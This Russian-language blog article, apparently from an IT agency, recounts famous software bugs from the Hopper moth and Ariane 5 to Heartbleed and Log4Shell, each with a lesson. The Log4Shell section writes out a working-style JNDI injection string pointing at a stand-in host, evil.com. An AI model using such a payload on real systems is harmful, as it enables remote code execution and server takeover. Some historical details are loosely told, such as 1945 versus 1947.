7 багов которые стали легендами
Ошибка — это не просто сбой. Иногда это сюжет, который пишет история технологий.
☰ Содержание:
Пролог: Мотылёк, изменивший лексикон
9 сентября 1947 года инженеры Гарвардского университета безуспешно пытались понять, почему вычислительная машина Mark II Aiken Relay Calculator выдаёт сбой. Легендарная Грейс Хоппер — контр-адмирал флота США, «бабушка COBOL» и одна из первых программистов в истории — заглянула внутрь электромеханического реле и обнаружила… мотылька.
Насекомое застряло между контактами, замкнуло цепь и остановило работу многомиллионной машины. Хоппер аккуратно извлекла тельце, приклеила его скотчем в технический журнал и оставила подпись, ставшую бессмертной: «First actual case of bug being found» — «Первый реальный случай обнаружения жучка».
Этот мотылёк до сих пор хранится в Национальном музее американской истории. А слово «баг» навсегда закрепилось в языке программистов — ирония судьбы, ведь ещё в 1878 году Томас Эдисон называл «жучками» мелкие неполадки в своих фонографах.
Но если Эдисон говорил о багах метафорически, то XX и XXI века превратили метафору в разрушительную силу. Семь историй ниже — не просто ошибки. Это катастрофы, миллиардные убытки и человеческие жизни. И каждый баг оставил после себя урок, который стоит выучить.
Баг №1: Самый дорогой дефис в истории
Mariner-1, 1962 год
Ущерб: 18,5 миллиона долларов (в пересчёте на 2026 год — около 185 миллионов)
Урок: Одна пропущенная черточка может отправить ракету не к Венере, а в океан
22 июля 1962 года мир замер у экранов. NASA готовилось отправить к Венере космический аппарат «Маринер-1». Всё шло по плану ровно 293 секунды.
А потом ракета начала странно вилять.
Бортовой компьютер, потеряв связь с Землёй, попытался взять управление на себя. Но вместо коррекции курса он выдал команду на дикое, хаотичное рыскание. Через несколько минут «Маринер-1» вошёл в нерасчётную траекторию над Атлантикой. Инженеры нажали кнопку самоуничтожения.
Расследование показало: в исходном коде программы управления отсутствовал один дефис.
В рукописных формулах, которые переносили в машинный код, инженер пропустил черточку над символом — обозначение усреднения. Компьютер считывал сырые, необработанные данные и пытался корректировать курс на основе скачков, которых не существовало в природе.
Чему научил: Человеческий глаз плохо замечает отсутствие того, что должно быть. С тех пор в аэрокосмической отрасли появилось правило: любая формула перед кодированием проверяется как минимум двумя независимыми инженерами. Цена дефиса — 185 миллионов долларов.
Баг №2: Когда пациент заживо сгорает в луче
Therac-25, 1985–1987 годы
Ущерб: 6 жизней, десятки покалеченных
Урок: Программная защита не прощает самонадеянности
До 1985 года лучевые терапевтические аппараты Therac проектировались с железобетонным принципом: физический предохранитель важнее кода. В моделях Therac-20 и Therac-6 металлический отражатель, рассеивающий луч, блокировался механически — никакая ошибка в софте не могла его снять.
Инженеры Therac-25 решили: зачем усложнять конструкцию? Механику заменили программными проверками. Это было дешевле, элегантнее и… смертельно.
В июне 1985 года 61-летняя пациентка с раком груди получила дозу облучения, в 100 раз превышающую расчётную. Она умерла через несколько месяцев. В 1986 году похожая судьба постигла ещё пятерых. Следствие выяснило: редкая гонка потоков в коде приводила к тому, что при быстром наборе команды оператором защита не успевала активироваться, а электронная пушка била на полную мощность прямо через пустой отражатель.
Чему научил: Никогда не заменяйте аппаратные предохранители программными, если цена ошибки — человеческая жизнь. В ядерной медицине этот урок выучен намертво. В стартапах — не всегда.
Баг №3: Девять часов без Америки
AT&T, 15 января 1990 года
Ущерб: 60 миллионов долларов, 60 тысяч обесточенных абонентов
Урок: Один сломанный коммутатор — эпидемия
В 4:30 утра по местному времени один из 114 транзитных коммутаторов дальней связи AT&T в Нью-Йорке вышел из строя из-за механического повреждения. Это штатная ситуация: техника ломается, сеть должна самоисцеляться.
Но в программном обеспечении коммутаторов, обновлённом за несколько недель до этого, жил баг.
Когда повреждённый узел пытался сообщить соседям о своём состоянии, он отправлял не одно сообщение, а два. Второе сообщение приходило в момент, когда коммутатор-получатель перезагружался для смены режима работы. Софт получателя интерпретировал это как собственную неисправность — и тоже отключался, отправляя «заразу» дальше.
К 5:30 утра цепная реакция охватила всю сеть. 60 миллионов долларов убытков, 60 тысяч абонентов без связи на 9 часов, расследование ФБР (сначала подозревали хакерскую атаку). Оказалось — строчка кода, в которой забыли поставить проверку на повторный сигнал.
Чему научил: В распределённых системах баг — это вирус. Хватит одного заражённого узла, чтобы эпидемия уронила всё. Современные протоколы отказоустойчивости пишутся с оглядкой на утро 15 января 1990 года.
Готовы обсудить ваш проект
Баг №4: Ракета, взорвавшая себя сама
Ariane 5, 4 июня 1996 года
Ущерб: 370–500 миллионов долларов, 10 лет подготовки, 7 миллиардов инвестиций
Урок: Повторное использование кода — не бесплатный обед
Европейское космическое агентство потратило десятилетие и 7 миллиардов долларов на создание новой ракеты-носителя Ariane 5. 4 июня 1996 года, первый испытательный запуск. 37 секунд полёта. 370 миллионов долларов превращаются в облако обломков над Гвианским космическим центром.
Причина? Код инерциальной навигационной системы, благополучно переписанный с Ariane 4.
У Ariane 4 горизонтальная скорость была низкой. У Ariane 5 — в пять раз выше. 64-битное число, хранящее горизонтальную скорость, при конвертации в 16-битное целое просто не влезло. Переполнение. Система решила, что ракета падает, и выдала команду на экстренный манёвр. Резкий рывок — перегрузка — разрушение конструкции.
Самое горькое: этот конкретный блок кода вообще не нужен был Ariane 5 в полёте. Его оставили «на всякий случай» для наземных тестов. И забыли отключить.
Чему научил: Код, который работал вчера, не гарантированно сработает завтра — особенно если изменились входные данные. «Проверять всё» звучит параноидально, пока ваш проект не взорвался на 37-й секунде.
Баг №5: Проблема 2000 года, которая почти случилась
Y2K, 1 января 2000 года
Ущерб: По разным оценкам — от 300 миллиардов до 600 миллиардов долларов на превентивное исправление
Урок: Краткосрочная экономия памяти оборачивается вечными долгами
В 1960–1970-х годах каждый байт памяти был на вес золота. Программисты изобретали сотни способов сэкономить. Один из них — хранить год двумя цифрами вместо четырёх. «1973» превращалось в «73». Экономия: два байта на каждую дату.
Никто не думал, что этот код доживёт до 2000 года. Но дожил.
К концу 1999-го мир впал в коллективную истерию. Банковские системы, страховые полисы, расчёт зарплат, графики полётов — всё работало на двухзначных годах. Что случится, когда 31 декабря 1999 сменится 1 января 2000? Компьютер увидит «00» и решит, что наступил 1900 год. Пенсионеру начислится зарплата за минус 99 лет стажа. Ребёнку, родившемуся 1 января, может исполниться минус 99 лет.
Ирония в том, что катастрофы не произошло. Мир потратил сотни миллиардов долларов на аудит и замену кода. Программисты по всему миру работали сверхурочно, переписывая legacy-системы. К 1 января 2000 года большинство критических систем были исправлены.
Чему научил: Технический долг накапливается незаметно, но однажды предъявляется к оплате. И платить приходится с процентами. Историки до сих пор спорят: Y2K был реальной угрозой или раздутой паникой. Но никто не хочет проверять это снова.
Баг №6: Кровоточащее сердце интернета
Heartbleed (CVE-2014-0160), апрель 2014 года
Ущерб: Невозможно оценить; утечка SSL-ключей, паролей, данных миллионов серверов
Урок: Одна буква в коде может открыть сердце интернета
OpenSSL — библиотека шифрования, на которой держится добрых две трети защищённых сайтов мира. Apache, Nginx, почтовые серверы, VPN, даже встроенное ПО сетевых устройств. В 2014 году выяснилось: два года в OpenSSL жила ошибка, позволяющая читать оперативную память сервера.
Баг прятался в реализации расширения Heartbeat. Программист допустил опечатку: вместо проверки, что запрос действительно длиной столько-то байт, код доверял клиентскому значению. Злоумышленник посылал: «Привет, у меня пакет на 64 килобайта» — а сам отправлял 1 килобайт. Сервер честно отдавал 64 килобайта своей памяти с соседними данными.
В этих данных могли быть SSL-ключи, пароли, сессионные cookie, содержимое запросов других пользователей. Следы Heartbleed находили в логах за два года до публичного раскрытия. Сколько взломов осталось незамеченными — никто не знает.
Чему научил: Open Source не равно безопасный код. Тысячи глаз не смотрели на эту строчку два года. После Heartbleed появились инициативы по финансированию критически важных open-source компонентов. Но до сих пор интернет держится на энтузиазме и хрупком доверии.
Баг №7: Библиотека, загоревшаяся в декабре
Log4Shell (CVE-2021-44228), декабрь 2021 года
Ущерб: Масштаб пандемии; уязвимыми оказались миллионы приложений
Урок: Любимая библиотека может стать ахиллесовой пятой
Log4j — библиотека для логирования на Java. Есть практически везде: корпоративные системы, игры (Minecraft — в зоне риска в первую очередь), облачные сервисы, банковский софт. 9 декабря 2021 года мир узнал, что в ней живёт удалённое выполнение кода.
Баг был одновременно гениально прост и чудовищен. Log4j умел подгружать конфигурации с удалённых серверов по JNDI (Java Naming and Directory Interface). Если в лог попадала строка ${jndi:ldap://зловредный-сервер/что-то}, библиотека честно лезла по этому адресу и выполняла скачанный код.
Достаточно было написать в поле ввода на сайте: «${jndi:ldap://evil.com/x}». Если сайт логировал это поле — злоумышленник получал контроль над сервером. Мгновенно. Без аутентификации.
Log4Shell называли «уязвимостью нулевого дня, которая была нулевым днём 8 лет» — баг присутствовал в коде с 2013 года. Патчи выпускали в авральном режиме, но инвентаризация систем показала страшное: многие компании даже не знали, что используют уязвимую версию.
Чему научил: Современная разработка — это бесконечное управление зависимостями. Вы несёте ответственность не только за свой код, но и за тысячи чужих библиотек, которые тащите в проект. SBOM (Software Bill of Materials) — не модное слово, а необходимость.
Бонус-трек: Баг, который убьёт Солнце
iPhone, 1970 год, 2016 год
Ущерб: Тысячи «окирпиченных» смартфонов, вера в непогрешимость Apple
Урок: Пользователь всегда найдёт способ сломать то, что вы считали защищённым
В феврале 2016 года интернет взорвался шуткой: «Переведи дату на iPhone на 1 января 1970 года, увидишь пасхалку!» Тысячи людей перевели. И получили «кирпич» — устройство, которое никогда не загрузится.
Суть бага: в Unix-подобных системах время отсчитывается в секундах от 1 января 1970 года. Это «нулевая точка». Когда пользователь вручную выставлял дату в ноль, а затем перезагружал устройство, система при старте пыталась произвести какие-то операции с отрицательным временем или, наоборот, с максимально возможным (при вычитании из нуля). 64-битная переменная переполнялась, и дата улетала в будущее, дальше которого не существует даже в космологии.
Apple исправила баг в iOS 9.3.1. Но осадок остался: даже в герметичной экосистеме можно сделать необратимое простым переключением даты.
Чему научил: Тестируйте граничные значения. Особенно если эти границы — рождение UNIX-эпохи. И никогда не говорите «наш пользователь так делать не будет». Будет.
Эпилог: Чему нас научили легенды
Но законы их появления — те же, что в 1945-м:
- Сложность убивает. Чем запутаннее система, тем выше шанс, что в ней прячется мотылёк.
- Доверяй, но проверяй. Код, написанный вчера, сегодня может стать убийцей.
- Ничего не выбрасывается. Код живёт вечно. Легаси-системы правят миром.
- Цена бага не равна сложности ошибки. Дефис, переполнение, забытая проверка — самое простое ломает самое дорогое.
Каждый из семи багов — не просто история. Это шрам на теле профессии. По ним учатся студенты, их разбирают на ретроспективах, на них молятся и ими ругаются.
А мотылёк Грейс Хоппер всё так же лежит в музее под стеклом. Первый баг. Реальный. И до сих пор живой.
P.S. 9 сентября — неофициальный День тестировщика и День бага. В этот день принято вспоминать старые ошибки, смеяться над ними и… находить новые. Потому что баги — единственное в программировании, что не кончается никогда. И, пожалуй, это тоже урок.
IT агенство MapNT
Центральный офис: г. Калининград
Почта: m-n-te@yandex.ru
Телефон: +7 911 484-06-31
Работаем по всей России
Мы в соц сетях:
telegram | вконтакте | сетка
mapnew.tech